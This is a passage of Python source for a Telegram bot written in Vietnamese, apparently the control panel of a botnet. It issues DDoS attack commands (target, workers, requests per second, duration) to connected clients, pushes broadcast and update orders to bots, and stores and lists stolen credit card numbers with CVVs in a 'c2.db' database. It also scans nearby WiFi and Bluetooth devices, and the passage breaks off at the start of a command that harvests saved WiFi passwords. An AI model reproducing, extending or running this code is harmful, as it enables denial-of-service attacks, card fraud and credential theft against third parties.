  1511.             text = "📡 *Danh sách proxy:*\n"
  1512.             for i, p in enumerate(proxy_list[:30], 1):
  1513.                 text += f"{i}. `{p}`\n"
  1514.             bot.reply_to(message, text[:4000], parse_mode='Markdown')
  1515.         else:
  1516.             bot.reply_to(message, "📭 Chưa có proxy nào! Dùng /proxy update để lấy proxy.")
  1517.  
  1518. @bot.message_handler(commands=['listbots'])
  1519. def cmd_listbots(message):
  1520.     user_id = message.from_user.id
  1521.     if not is_admin(user_id) or not is_logged_in(user_id):
  1522.         bot.reply_to(message, "🔐 /login 7788")
  1523.         return
  1524.     if not botnet_clients:
  1525.         bot.reply_to(message, "📭 Chưa có client nào kết nối.")
  1526.         return
  1527.     text = "📡 *DANH SÁCH CLIENT:*\n"
  1528.     for c in botnet_clients:
  1529.         text += f"🖥️ `{c['ip']}` - last seen: {int(time.time() - c['last_seen'])}s ago\n"
  1530.     bot.reply_to(message, text, parse_mode='Markdown')
  1531.  
  1532. @bot.message_handler(commands=['botcmd'])
  1533. def cmd_botcmd(message):
  1534.     user_id = message.from_user.id
  1535.     if not is_admin(user_id) or not is_logged_in(user_id):
  1536.         bot.reply_to(message, "🔐 /login 7788")
  1537.         return
  1538.     args = message.text.split()
  1539.     if len(args) < 2:
  1540.         bot.reply_to(message, "❌ /botcmd <attack/stop> [params...]")
  1541.         return
  1542.     global current_botnet_command
  1543.     if args[1] == "attack":
  1544.         if len(args) < 7:
  1545.             bot.reply_to(message, "❌ /botcmd attack <url> <workers> <rps> <method> <duration>")
  1546.             return
  1547.         target = args[2]
  1548.         workers = args[3]
  1549.         rps = args[4]
  1550.         method = args[5]
  1551.         duration = args[6]
  1552.         current_botnet_command = f"{target}|{workers}|{rps}|{method}|{duration}"
  1553.         save_attack(target, workers, rps, method, duration)
  1554.         bot.reply_to(message, f"✅ Đã gửi lệnh tấn công đến {len(botnet_clients)} client.")
  1555.         def reset_cmd():
  1556.             time.sleep(60)
  1557.             global current_botnet_command
  1558.             current_botnet_command = None
  1559.         threading.Thread(target=reset_cmd).start()
  1560.     elif args[1] == "stop":
  1561.         current_botnet_command = None
  1562.         bot.reply_to(message, "🛑 Đã hủy lệnh tấn công.")
  1563.     else:
  1564.         bot.reply_to(message, "❌ /botcmd attack hoặc /botcmd stop")
  1565.  
  1566. @bot.message_handler(commands=['broadcast'])
  1567. def cmd_broadcast(message):
  1568.     user_id = message.from_user.id
  1569.     if not is_admin(user_id) or not is_logged_in(user_id):
  1570.         bot.reply_to(message, "🔐 /login 7788")
  1571.         return
  1572.     msg = message.text.replace("/broadcast", "").strip()
  1573.     if not msg:
  1574.         bot.reply_to(message, "❌ /broadcast <tin nhắn>")
  1575.         return
  1576.     for c in botnet_clients:
  1577.         try:
  1578.             requests.get(f"http://{c['ip']}:8080/broadcast?msg={msg}", timeout=2)
  1579.         except:
  1580.             pass
  1581.     bot.reply_to(message, f"✅ Đã broadcast đến {len(botnet_clients)} client")
  1582.  
  1583. @bot.message_handler(commands=['update_client'])
  1584. def cmd_update_client(message):
  1585.     user_id = message.from_user.id
  1586.     if not is_admin(user_id) or not is_logged_in(user_id):
  1587.         bot.reply_to(message, "🔐 /login 7788")
  1588.         return
  1589.     for c in botnet_clients:
  1590.         try:
  1591.             requests.get(f"http://{c['ip']}:8080/update", timeout=2)
  1592.         except:
  1593.             pass
  1594.     bot.reply_to(message, f"✅ Đã yêu cầu cập nhật client đến {len(botnet_clients)} client")
  1595.  
  1596. @bot.message_handler(commands=['key'])
  1597. def cmd_key(message):
  1598.     user_id = message.from_user.id
  1599.     if not is_admin(user_id):
  1600.         bot.reply_to(message, "❌ Không có quyền!")
  1601.         return
  1602.     if not is_logged_in(user_id):
  1603.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1604.         return
  1605.     args = message.text.split()
  1606.     days = 30
  1607.     if len(args) > 1:
  1608.         try:
  1609.             days = int(args[1])
  1610.             if days < 1 or days > 365:
  1611.                 days = 30
  1612.         except:
  1613.             pass
  1614.     new_key = create_key(user_id, days)
  1615.     bot.reply_to(message, f"""
  1616. 🔑 *KEY MỚI ĐƯỢC TẠO*
  1617. ━━━━━━━━━━━━━━━━
  1618. 🔐 *Key:* `{new_key}`
  1619. 📅 *Hạn sử dụng:* `{days} ngày`
  1620. 💡 *Người tạo:* `{user_id}`
  1621.  
  1622. ⚠️ *Lưu key này để cấp cho người dùng!*
  1623.    """, parse_mode='Markdown')
  1624.  
  1625. @bot.message_handler(commands=['keys'])
  1626. def cmd_keys(message):
  1627.     user_id = message.from_user.id
  1628.     if not is_admin(user_id):
  1629.         bot.reply_to(message, "❌ Không có quyền!")
  1630.         return
  1631.     if not is_logged_in(user_id):
  1632.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1633.         return
  1634.     keys = load_keys()
  1635.     if not keys:
  1636.         bot.reply_to(message, "📭 Chưa có key nào!")
  1637.         return
  1638.     text = "🔑 *DANH SÁCH KEY*\n━━━━━━━━━━━━━━━━\n\n"
  1639.     for k, v in keys.items():
  1640.         expiry = datetime.fromtimestamp(v['expiry']).strftime("%d/%m/%Y")
  1641.         used = len(v.get('used_by', []))
  1642.         max_uses = v.get('max_uses', 1)
  1643.         text += f"🔐 `{k}`\n   📅 Hết hạn: `{expiry}` | ✅ `{used}/{max_uses}`\n\n"
  1644.         if len(text) > 3800:
  1645.             text += "...\n(Quá nhiều key, hiển thị một phần)"
  1646.             break
  1647.     bot.reply_to(message, text, parse_mode='Markdown')
  1648.  
  1649. @bot.message_handler(commands=['delkey'])
  1650. def cmd_delkey(message):
  1651.     user_id = message.from_user.id
  1652.     if not is_admin(user_id):
  1653.         bot.reply_to(message, "❌ Không có quyền!")
  1654.         return
  1655.     if not is_logged_in(user_id):
  1656.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1657.         return
  1658.     args = message.text.split()
  1659.     if len(args) < 2:
  1660.         bot.reply_to(message, "❌ /delkey <key>")
  1661.         return
  1662.     key = args[1]
  1663.     if delete_key(key):
  1664.         bot.reply_to(message, f"✅ Đã xóa key `{key}`", parse_mode='Markdown')
  1665.     else:
  1666.         bot.reply_to(message, "❌ Không tìm thấy key!")
  1667.  
  1668. @bot.message_handler(commands=['chart'])
  1669. def cmd_chart(message):
  1670.     user_id = message.from_user.id
  1671.     if not is_admin(user_id) or not is_logged_in(user_id):
  1672.         bot.reply_to(message, "🔐 /login 7788")
  1673.         return
  1674.     if message.chat.id not in attacks:
  1675.         bot.reply_to(message, "ℹ️ Không có đợt tấn công")
  1676.         return
  1677.     total = request_counts.get(message.chat.id, 0)
  1678.     elapsed = max(1, int(time.time() - attacks[message.chat.id]['start_time']))
  1679.     rps = total // elapsed
  1680.     plt.figure(figsize=(8, 4))
  1681.     plt.bar(['RPS'], [rps], color='red')
  1682.     plt.title(f'RPS - {attacks[message.chat.id]["target"][:30]}')
  1683.     plt.ylabel('Requests/sec')
  1684.     buf = io.BytesIO()
  1685.     plt.savefig(buf, format='png')
  1686.     buf.seek(0)
  1687.     bot.send_photo(message.chat.id, buf, caption=f"📊 RPS: {rps}")
  1688.  
  1689. @bot.message_handler(commands=['deploy'])
  1690. def cmd_deploy(message):
  1691.     user_id = message.from_user.id
  1692.     if not is_admin(user_id) or not is_logged_in(user_id):
  1693.         bot.reply_to(message, "🔐 /login 7788")
  1694.         return
  1695.     bot.reply_to(message, """
  1696. 🚀 *DEPLOY 24/7 MIỄN PHÍ*
  1697.  
  1698. 1. Push code lên GitHub
  1699. 2. Đăng ký render.com
  1700. 3. Tạo Web Service, start: python bot.py
  1701. 4. Thêm biến: BOT_TOKEN, ADMIN_ID
  1702. 5. Dùng UptimeRobot ping URL mỗi 5 phút
  1703.  
  1704. 💀 Bot chạy 24/7 không cần máy!
  1705. """, parse_mode='Markdown')
  1706.  
  1707. @bot.message_handler(commands=['version'])
  1708. def cmd_version(message):
  1709.     user_id = message.from_user.id
  1710.     if not is_admin(user_id) or not is_logged_in(user_id):
  1711.         bot.reply_to(message, "🔐 /login 7788")
  1712.         return
  1713.     text = f"🤖 Bot version: {CURRENT_VERSION}\n📡 Client count: {len(botnet_clients)}\n🔌 Proxy count: {len(proxy_list)}"
  1714.     bot.reply_to(message, text)
  1715.  
  1716. @bot.message_handler(commands=['update'])
  1717. def cmd_update(message):
  1718.     user_id = message.from_user.id
  1719.     if not is_admin(user_id) or not is_logged_in(user_id):
  1720.         bot.reply_to(message, "🔐 /login 7788")
  1721.         return
  1722.     bot.reply_to(message, "🔄 Đang kiểm tra phiên bản mới...")
  1723.     try:
  1724.         resp = requests.get(GITHUB_REPO, timeout=10)
  1725.         if resp.status_code == 200:
  1726.             new_version = None
  1727.             for line in resp.text.split('\n'):
  1728.                 if 'CURRENT_VERSION =' in line and '"' in line:
  1729.                     new_version = line.split('"')[1]
  1730.                     break
  1731.             if new_version and new_version != CURRENT_VERSION:
  1732.                 with open(__file__, 'w') as f:
  1733.                     f.write(resp.text)
  1734.                 bot.reply_to(message, f"✅ Cập nhật lên v{new_version}, đang restart...")
  1735.                 os.execv(sys.executable, [sys.executable] + sys.argv)
  1736.             else:
  1737.                 bot.reply_to(message, "✅ Đã là bản mới nhất")
  1738.         else:
  1739.             bot.reply_to(message, "❌ Lỗi kết nối GitHub")
  1740.     except Exception as e:
  1741.         bot.reply_to(message, f"❌ Lỗi: {e}")
  1742.  
  1743. @bot.message_handler(commands=['cvv'])
  1744. def cmd_cvv(message):
  1745.     user_id = message.from_user.id
  1746.     if not is_admin(user_id) or not is_logged_in(user_id):
  1747.         bot.reply_to(message, "🔐 /login 7788")
  1748.         return
  1749.     args = message.text.split()
  1750.     if len(args) < 4:
  1751.         bot.reply_to(message, "❌ /cvv <cc> <cvv> <exp>\nVD: /cvv 4111111111111111 123 12/25")
  1752.         return
  1753.     cc = args[1]
  1754.     cvv = args[2]
  1755.     exp = args[3]
  1756.     save_cvv(cc, cvv, exp)
  1757.     bot.reply_to(message, f"✅ Đã lưu thông tin!\n💳 CC: {cc}\n🔑 CVV: {cvv}\n📅 Exp: {exp}")
  1758.  
  1759. @bot.message_handler(commands=['getcvv'])
  1760. def cmd_getcvv(message):
  1761.     user_id = message.from_user.id
  1762.     if not is_admin(user_id) or not is_logged_in(user_id):
  1763.         bot.reply_to(message, "🔐 /login 7788")
  1764.         return
  1765.     conn = sqlite3.connect('c2.db')
  1766.     c = conn.cursor()
  1767.     c.execute("SELECT * FROM cvv_logs ORDER BY id DESC LIMIT 20")
  1768.     rows = c.fetchall()
  1769.     conn.close()
  1770.     if not rows:
  1771.         bot.reply_to(message, "📭 Chưa có dữ liệu CVV")
  1772.         return
  1773.     text = "💳 *DANH SÁCH CVV THU THẬP*\n━━━━━━━━━━━━━━━━━━\n"
  1774.     for row in rows:
  1775.         text += f"🔹 CC: {row[1]}\n   CVV: {row[2]} | Exp: {row[3]}\n   📅 {row[4]}\n\n"
  1776.     bot.reply_to(message, text[:4000], parse_mode='Markdown')
  1777.  
  1778. def auto_refresh_proxy():
  1779.     global proxy_list
  1780.     while True:
  1781.         time.sleep(300)
  1782.         if len(proxy_list) < 20:
  1783.             logging.warning(f"⚠️ Chỉ còn {len(proxy_list)} proxy, đang cập nhật...")
  1784.             update_proxy_list()
  1785.         else:
  1786.             logging.info(f"✅ Proxy ổn định: {len(proxy_list)} proxy")
  1787.  
  1788. threading.Thread(target=auto_refresh_proxy, daemon=True).start()
  1789.  
  1790. # ==================== QUÉT THIẾT BỊ WIFI & BLUETOOTH NÂNG CẤP ====================
  1791. def detect_wifi_interfaces_windows():
  1792.     interfaces = []
  1793.     try:
  1794.         result = subprocess.run(
  1795.             ["netsh", "wlan", "show", "interfaces"],
  1796.             capture_output=True, text=True, timeout=10
  1797.         )
  1798.         current_iface = {}
  1799.         for line in result.stdout.split('\n'):
  1800.             line = line.strip()
  1801.             if ':' in line:
  1802.                 key, val = line.split(':', 1)
  1803.                 key = key.strip()
  1804.                 val = val.strip()
  1805.                 if key == 'Name':
  1806.                     if current_iface and 'Name' in current_iface:
  1807.                         interfaces.append(current_iface)
  1808.                     current_iface = {'Name': val}
  1809.                 elif key == 'Description' and current_iface is not None:
  1810.                     current_iface['Description'] = val
  1811.                 elif key == 'State' and current_iface is not None:
  1812.                     current_iface['State'] = val
  1813.                 elif key == 'Radio type' and current_iface is not None:
  1814.                     current_iface['RadioType'] = val
  1815.         if current_iface and 'Name' in current_iface:
  1816.             interfaces.append(current_iface)
  1817.     except:
  1818.         pass
  1819.     if not interfaces:
  1820.         interfaces = [{'Name': 'Wi-Fi', 'Description': 'Default WiFi Adapter', 'State': 'connected'}]
  1821.     return interfaces
  1822.  
  1823. def get_device_info_from_mac(mac_address):
  1824.     mac = mac_address.replace("-", ":").replace(".", ":").upper().strip()
  1825.     oui = mac[:8] if len(mac) >= 8 else mac
  1826.     vendors = {
  1827.         "F0:18:98": "Apple", "9C:4F:DA": "Apple", "A4:D1:D2": "Apple",
  1828.         "A8:88:08": "Apple", "F0:DB:E2": "Apple", "B8:17:C2": "Apple",
  1829.         "38:C9:86": "Apple", "A4:B8:05": "Apple", "AC:BC:32": "Apple",
  1830.         "F4:0F:24": "Apple", "B0:65:BD": "Apple", "7C:04:D0": "Apple",
  1831.         "54:26:96": "Apple", "14:98:77": "Apple", "A4:D1:8C": "Apple",
  1832.         "BC:47:60": "Samsung", "CC:3A:61": "Samsung", "00:07:AB": "Samsung",
  1833.         "64:A2:F9": "Xiaomi", "8C:BE:BE": "Xiaomi", "F4:DB:E3": "Xiaomi",
  1834.         "00:1E:10": "Huawei", "00:25:68": "Huawei", "08:55:31": "Huawei",
  1835.         "00:1B:B3": "Oppo", "04:5A:95": "Oppo", "08:70:45": "Oppo",
  1836.         "00:1E:68": "Vivo", "04:D4:C4": "Vivo", "08:C5:E1": "Vivo",
  1837.         "00:14:22": "Dell", "00:15:C5": "Dell", "00:18:8B": "Dell",
  1838.         "00:1B:78": "HP", "00:1E:0B": "HP", "00:21:5A": "HP",
  1839.         "00:1A:A0": "Lenovo", "00:1E:4C": "Lenovo", "00:21:6A": "Lenovo",
  1840.         "00:1A:A2": "Asus", "00:1E:8C": "Asus", "00:23:54": "Asus",
  1841.         "00:1A:11": "Google", "3C:5A:B4": "Google", "54:60:09": "Google",
  1842.         "00:01:4A": "Sony", "00:24:BE": "Sony", "08:D4:0C": "Sony",
  1843.         "00:1C:7B": "LG", "00:23:6C": "LG", "04:4E:AF": "LG",
  1844.         "00:17:E3": "Motorola", "00:1D:FE": "Motorola", "00:25:04": "Motorola",
  1845.         "00:1E:68": "Acer", "00:23:8B": "Acer", "00:26:22": "Acer",
  1846.     }
  1847.     if oui in vendors:
  1848.         return vendors[oui]
  1849.     return "Unknown"
  1850.  
  1851. def get_device_model(hostname, mac, vendor):
  1852.     hostname = hostname.lower().strip()
  1853.     vendor = vendor.lower()
  1854.     if vendor == "apple":
  1855.         if "iphone" in hostname: return "iPhone (iOS)"
  1856.         if "ipad" in hostname: return "iPad"
  1857.         if "macbook" in hostname: return "MacBook"
  1858.         return "Apple Device"
  1859.     if vendor == "samsung":
  1860.         return "Samsung Galaxy"
  1861.     if vendor == "xiaomi": return "Xiaomi"
  1862.     if vendor == "huawei": return "Huawei"
  1863.     if vendor == "google": return "Google Pixel"
  1864.     if vendor in ["dell", "hp", "lenovo", "asus", "acer"]:
  1865.         return f"{vendor} PC/Laptop"
  1866.     return f"{vendor} Device"
  1867.  
  1868. def get_device_icon(vendor, hostname):
  1869.     vendor = vendor.lower()
  1870.     hostname = hostname.lower()
  1871.     if vendor == "apple":
  1872.         if "iphone" in hostname: return "📱 iPhone"
  1873.         if "ipad" in hostname: return "📱 iPad"
  1874.         if "macbook" in hostname: return "💻 MacBook"
  1875.         return "🍎 Apple"
  1876.     if vendor == "samsung": return "📱 Samsung"
  1877.     if vendor in ["xiaomi", "oppo", "vivo", "huawei"]: return "📱 Android"
  1878.     if vendor in ["dell", "hp", "lenovo", "asus", "acer"]: return "💻 PC/Laptop"
  1879.     if vendor == "google": return "📱 Pixel"
  1880.     if vendor == "sony": return "📺 Sony"
  1881.     return "📡 Device"
  1882.  
  1883. def clean_device_name(raw_name):
  1884.     if not raw_name:
  1885.         return "Unknown"
  1886.     raw_name = str(raw_name)
  1887.     raw_name = re.sub(r'[^\x20-\x7E\u0100-\u01FF\u1EA0-\u1EFF]', '', raw_name)
  1888.     raw_name = raw_name.replace('\n', '').replace('\r', '').replace('\t', ' ')
  1889.     raw_name = ' '.join(raw_name.split())
  1890.     return raw_name.strip()[:80]
  1891.  
  1892. def scan_wifi_devices():
  1893.     devices = []
  1894.     os_type = platform.system()
  1895.     try:
  1896.         if os_type == "Windows":
  1897.             result = subprocess.run(["arp", "-a"], capture_output=True, text=True, timeout=15)
  1898.             for line in result.stdout.split('\n'):
  1899.                 if 'dynamic' in line.lower() or 'static' in line.lower():
  1900.                     parts = line.split()
  1901.                     if len(parts) >= 2:
  1902.                         ip = parts[0]
  1903.                         mac = parts[1].replace("-", ":")
  1904.                         devices.append({"ip": ip, "mac": mac, "type": "WiFi", "hostname": ""})
  1905.             for d in devices:
  1906.                 try:
  1907.                     res = subprocess.run(["nslookup", d["ip"]], capture_output=True, text=True, timeout=5)
  1908.                     for l in res.stdout.split('\n'):
  1909.                         if 'Name:' in l:
  1910.                             d["hostname"] = l.split('Name:')[1].strip()
  1911.                 except:
  1912.                     pass
  1913.         else:
  1914.             result = subprocess.run(["arp", "-a"], capture_output=True, text=True, timeout=15)
  1915.             for line in result.stdout.split('\n'):
  1916.                 if '(' in line and ')' in line and 'at' in line:
  1917.                     ip = line.split('(')[1].split(')')[0]
  1918.                     mac = line.split('at ')[1].split(' ')[0] if 'at ' in line else 'Unknown'
  1919.                     hostname = ""
  1920.                     if '?' not in line:
  1921.                         try:
  1922.                             hostname = line.split('(')[0].strip()
  1923.                         except:
  1924.                             pass
  1925.                     devices.append({"ip": ip, "mac": mac, "type": "WiFi", "hostname": hostname})
  1926.     except:
  1927.         pass
  1928.     return devices
  1929.  
  1930. def scan_bluetooth_devices():
  1931.     devices = []
  1932.     os_type = platform.system()
  1933.     try:
  1934.         if os_type == "Windows":
  1935.             result = subprocess.run(
  1936.                 ["powershell", "-Command",
  1937.                  "Get-PnpDevice -Class Bluetooth | Where-Object {$_.Status -eq 'OK'} | Select-Object Name, InstanceId, Class, FriendlyName | Format-List"],
  1938.                 capture_output=True, text=True, timeout=25
  1939.             )
  1940.             current_device = {}
  1941.             for line in result.stdout.split('\n'):
  1942.                 line = line.strip()
  1943.                 if ':' in line:
  1944.                     key, val = line.split(':', 1)
  1945.                     key = key.strip()
  1946.                     val = val.strip()
  1947.                     if key == 'Name' and val:
  1948.                         current_device['name'] = val
  1949.                     elif key == 'InstanceId' and val:
  1950.                         current_device['instance_id'] = val
  1951.                         mac_match = re.search(r'([0-9A-Fa-f]{2}[:-]){5}[0-9A-Fa-f]{2}', val)
  1952.                         if mac_match:
  1953.                             current_device['mac'] = mac_match.group(0)
  1954.                     elif key == 'FriendlyName' and val:
  1955.                         current_device['friendly_name'] = val
  1956.                 if 'Name' in current_device and line == '':
  1957.                     if current_device:
  1958.                         devices.append(current_device)
  1959.                         current_device = {}
  1960.             if current_device:
  1961.                 devices.append(current_device)
  1962.         else:
  1963.             try:
  1964.                 result = subprocess.run(["hcitool", "scan"], capture_output=True, text=True, timeout=20)
  1965.                 for line in result.stdout.split('\n'):
  1966.                     if line.strip() and 'Scanning' not in line:
  1967.                         parts = line.strip().split('\t')
  1968.                         if len(parts) >= 2:
  1969.                             devices.append({"mac": parts[0], "name": parts[1], "type": "Bluetooth"})
  1970.             except:
  1971.                 pass
  1972.     except:
  1973.         pass
  1974.     for d in devices:
  1975.         if 'status' not in d:
  1976.             d['status'] = "🔵 ĐANG BẬT"
  1977.     if not devices:
  1978.         devices.append({"name": "Không tìm thấy thiết bị Bluetooth", "type": "Bluetooth", "status": "🔴 TẮT / KHÔNG KHẢ DỤNG", "mac": ""})
  1979.     return devices
  1980.  
  1981. @bot.message_handler(commands=['scanwifi'])
  1982. def cmd_scanwifi(message):
  1983.     user_id = message.from_user.id
  1984.     if not is_admin(user_id) or not is_logged_in(user_id):
  1985.         bot.reply_to(message, "🔐 /login 7788")
  1986.         return
  1987.     sent_msg = bot.reply_to(message, "📡 *ĐANG QUÉT THIẾT BỊ WIFI...*\n⏳ Phân tích tên + loại thiết bị...", parse_mode='Markdown')
  1988.     devices = scan_wifi_devices()
  1989.     if not devices:
  1990.         bot.edit_message_text("📭 Không tìm thấy thiết bị nào trong mạng WiFi.", message.chat.id, sent_msg.message_id)
  1991.         return
  1992.     phone_count = 0
  1993.     pc_count = 0
  1994.     for d in devices:
  1995.         vendor = get_device_info_from_mac(d.get('mac', ''))
  1996.         hostname = d.get('hostname', '')
  1997.         icon = get_device_icon(vendor, hostname)
  1998.         if 'iPhone' in icon or 'Android' in icon or 'Pixel' in icon:
  1999.             phone_count += 1
  2000.         elif 'PC' in icon or 'MacBook' in icon:
  2001.             pc_count += 1
  2002.     os_type = platform.system()
  2003.     text = f"📡 *QUÉT THIẾT BỊ WIFI ({os_type})*\n"
  2004.     text += f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
  2005.     text += f"🔍 *Tổng:* `{len(devices)}` thiết bị\n"
  2006.     text += f"📱 Điện thoại: `{phone_count}` | 💻 Máy tính: `{pc_count}`\n"
  2007.     text += f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n"
  2008.     for i, d in enumerate(devices[:25], 1):
  2009.         mac = d.get('mac', 'N/A')
  2010.         vendor = get_device_info_from_mac(mac)
  2011.         hostname = d.get('hostname', '')
  2012.         model = get_device_model(hostname, mac, vendor)
  2013.         icon = get_device_icon(vendor, hostname)
  2014.         clean_name = clean_device_name(d.get('hostname', d.get('name', d.get('ip', 'Unknown'))))
  2015.         text += f"*{i}. {icon}*\n"
  2016.         text += f"   🏷️ *Hãng:* `{vendor}`\n"
  2017.         text += f"   📱 *Model:* `{model}`\n"
  2018.         text += f"   🌐 *IP:* `{d.get('ip', 'N/A')}`\n"
  2019.         text += f"   🔗 *MAC:* `{mac}`\n"
  2020.         text += f"   📛 *Tên:* `{clean_name}`\n\n"
  2021.     text += f"⏰ *Quét lúc:* `{datetime.now().strftime('%H:%M:%S %d/%m/%Y')}`"
  2022.     try:
  2023.         if len(text) > 4000:
  2024.             bot.edit_message_text(text[:3950] + "\n\n✂️ *Còn tiếp...*", message.chat.id, sent_msg.message_id, parse_mode='Markdown')
  2025.         else:
  2026.             bot.edit_message_text(text, message.chat.id, sent_msg.message_id, parse_mode='Markdown')
  2027.     except:
  2028.         bot.edit_message_text(text[:4000], message.chat.id, sent_msg.message_id)
  2029.  
  2030. @bot.message_handler(commands=['scanbt'])
  2031. def cmd_scanbt(message):
  2032.     user_id = message.from_user.id
  2033.     if not is_admin(user_id) or not is_logged_in(user_id):
  2034.         bot.reply_to(message, "🔐 /login 7788")
  2035.         return
  2036.     sent_msg = bot.reply_to(message, "🔵 *ĐANG QUÉT BLUETOOTH...*\n⏳ Dò tìm + phân tích thiết bị...", parse_mode='Markdown')
  2037.     devices = scan_bluetooth_devices()
  2038.     bt_on_count = 0
  2039.     bt_off_count = 0
  2040.     for d in devices:
  2041.         if 'BẬT' in d.get('status', ''):
  2042.             bt_on_count += 1
  2043.         elif 'TẮT' in d.get('status', ''):
  2044.             bt_off_count += 1
  2045.     text = "🔵 *QUÉT THIẾT BỊ BLUETOOTH NÂNG CẤP*\n"
  2046.     text += f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
  2047.     text += f"🔍 *Tổng:* `{len(devices)}` thiết bị\n"
  2048.     text += f"🔵 BẬT: `{bt_on_count}` | 🔴 TẮT: `{bt_off_count}`\n"
  2049.     text += f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n"
  2050.     for i, d in enumerate(devices[:25], 1):
  2051.         name = d.get('name', d.get('friendly_name', 'Unknown'))
  2052.         mac = d.get('mac', 'N/A')
  2053.         status = d.get('status', '❓')
  2054.         vendor = get_device_info_from_mac(mac)
  2055.         model = get_device_model(name.lower(), mac, vendor)
  2056.         icon = get_device_icon(vendor, name.lower())
  2057.         clean_name = clean_device_name(name)
  2058.         text += f"*{i}. {icon}*\n"
  2059.         text += f"   {status}\n"
  2060.         text += f"   🏷️ *Hãng:* `{vendor}`\n"
  2061.         text += f"   📱 *Model:* `{model}`\n"
  2062.         text += f"   📛 *Tên:* `{clean_name}`\n"
  2063.         text += f"   🔗 *MAC:* `{mac}`\n\n"
  2064.     text += f"⏰ *Quét lúc:* `{datetime.now().strftime('%H:%M:%S %d/%m/%Y')}`"
  2065.     try:
  2066.         if len(text) > 4000:
  2067.             bot.edit_message_text(text[:3950] + "\n\n✂️ *Còn tiếp...*", message.chat.id, sent_msg.message_id, parse_mode='Markdown')
  2068.         else:
  2069.             bot.edit_message_text(text, message.chat.id, sent_msg.message_id, parse_mode='Markdown')
  2070.     except:
  2071.         bot.edit_message_text(text[:4000], message.chat.id, sent_msg.message_id)
  2072.  
  2073. @bot.message_handler(commands=['wifiscan'])
  2074. def cmd_wifiscan(message):
  2075.     user_id = message.from_user.id
  2076.     if not is_admin(user_id) or not is_logged_in(user_id):
  2077.         bot.reply_to(message, "🔐 /login 7788")
  2078.         return
  2079.     sent_msg = bot.reply_to(message, "📡 *ĐANG QUÉT MẠNG WIFI XUNG QUANH...*", parse_mode='Markdown')
  2080.     os_type = platform.system()
  2081.     networks = []
  2082.     try:
  2083.         if os_type == "Windows":
  2084.             result = subprocess.run(
  2085.                 ["netsh", "wlan", "show", "networks", "mode=Bssid"],
  2086.                 capture_output=True, text=True, timeout=20
  2087.             )
  2088.             current_ssid = None
  2089.             current_auth = None
  2090.             current_signal = None
  2091.             for line in result.stdout.split('\n'):
  2092.                 line = line.strip()
  2093.                 if "SSID" in line and ":" in line and "BSSID" not in line:
  2094.                     if current_ssid and current_ssid != "":
  2095.                         networks.append({"ssid": current_ssid, "auth": current_auth or "Unknown", "signal": current_signal or "N/A"})
  2096.                     try:
  2097.                         current_ssid = line.split(":", 1)[1].strip()
  2098.                     except:
  2099.                         current_ssid = "Hidden"
  2100.                     current_auth = None
  2101.                     current_signal = None
  2102.                 elif "Authentication" in line and ":" in line:
  2103.                     current_auth = line.split(":", 1)[1].strip()
  2104.                 elif "Signal" in line and ":" in line:
  2105.                     try:
  2106.                         current_signal = line.split(":", 1)[1].strip().replace("%", "")
  2107.                     except:
  2108.                         pass
  2109.             if current_ssid and current_ssid != "":
  2110.                 networks.append({"ssid": current_ssid, "auth": current_auth or "Unknown", "signal": current_signal or "N/A"})
  2111.         else:
  2112.             try:
  2113.                 result = subprocess.run(
  2114.                     ["nmcli", "-t", "-f", "SSID,SIGNAL,SECURITY", "device", "wifi", "list"],
  2115.                     capture_output=True, text=True, timeout=15
  2116.                 )
  2117.                 for line in result.stdout.split('\n'):
  2118.                     if ':' in line:
  2119.                         parts = line.split(':')
  2120.                         if len(parts) >= 2:
  2121.                             networks.append({
  2122.                                 "ssid": parts[0] if parts[0] else "Hidden",
  2123.                                 "signal": parts[1] if len(parts) > 1 else "N/A",
  2124.                                 "auth": parts[2] if len(parts) > 2 else "Unknown"
  2125.                             })
  2126.             except:
  2127.                 pass
  2128.     except:
  2129.         pass
  2130.     if not networks:
  2131.         bot.edit_message_text("📭 Không tìm thấy mạng WiFi nào.", message.chat.id, sent_msg.message_id)
  2132.         return
  2133.     networks = [dict(t) for t in {tuple(d.items()) for d in networks}]
  2134.     text = f"📡 *QUÉT MẠNG WIFI ({os_type})*\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
  2135.     text += f"🔍 *Tìm thấy:* `{len(networks)}` mạng WiFi\n\n"
  2136.     for i, net in enumerate(networks[:30], 1):
  2137.         ssid = net.get('ssid', 'Hidden')
  2138.         auth = net.get('auth', 'Unknown')
  2139.         signal_str = net.get('signal', '0')
  2140.         try:
  2141.             signal_val = int(signal_str.replace('%', ''))
  2142.         except:
  2143.             signal_val = 0
  2144.         if signal_val >= 80:
  2145.             signal_icon = "▂▄▆█"
  2146.         elif signal_val >= 60:
  2147.             signal_icon = "▂▄▆_"
  2148.         elif signal_val >= 40:
  2149.             signal_icon = "▂▄__"
  2150.         else:
  2151.             signal_icon = "▂___"
  2152.         iconss = "🔒" if auth != "Unknown" and auth != "Open" and auth != "" else "🔓"
  2153.         text += f"*{i}. {iconss} {ssid[:40]}*\n"
  2154.         text += f"   📶 Tín hiệu: `{signal_val}%` {signal_icon}\n"
  2155.         text += f"   🛡️ Bảo mật: `{auth}`\n\n"
  2156.     text += f"⏰ *Quét lúc:* `{datetime.now().strftime('%H:%M:%S %d/%m/%Y')}`"
  2157.     try:
  2158.         bot.edit_message_text(text[:4000], message.chat.id, sent_msg.message_id, parse_mode='Markdown')
  2159.     except:
  2160.         bot.edit_message_text(text[:4000], message.chat.id, sent_msg.message_id)
  2161.  
  2162. @bot.message_handler(commands=['wifipass'])
  2163. def cmd_wifipass(message):
  2164.     user_id = message.from_user.id
  2165.     if not is_admin(user_id) or not is_logged_in(user_id):
  2166.         bot.reply_to(message, "🔐 /login 7788")
  2167.         return
  2168.     sent_msg = bot.reply_to(message, "🔑 *ĐANG LẤY MẬT KHẨU WIFI ĐÃ LƯU...*", parse_mode='Markdown')
  2169.     os_type = platform.system()
  2170.     passwords = []
  2171.     try:
  2172.         if os_type == "Windows":
  2173.             result = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output=True, text=True, timeout=15)
  2174.             ssids = []
